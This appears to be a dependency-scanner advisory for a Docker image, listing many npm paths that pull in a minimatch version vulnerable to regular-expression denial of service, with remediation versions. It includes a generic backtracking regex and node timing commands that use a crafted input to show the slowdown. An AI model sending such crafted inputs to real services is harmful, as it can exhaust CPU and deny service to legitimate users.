  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
        0.04s user 0.01s system 95% cpu 0.052 total
        
        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
        1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade minimatch to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.

References

More about this vulnerability

Inefficient Algorithmic Complexity

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /app/package.json
  • Package Manager: npm
  • Vulnerable module: minimatch
  • Introduced through: rag-builder@1.0.0, glob@8.1.0 and others

Detailed paths

  • Introduced through: rag-builder@1.0.0 › glob@8.1.0 › minimatch@5.1.6
  • Introduced through: lib@* › npm@10.8.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
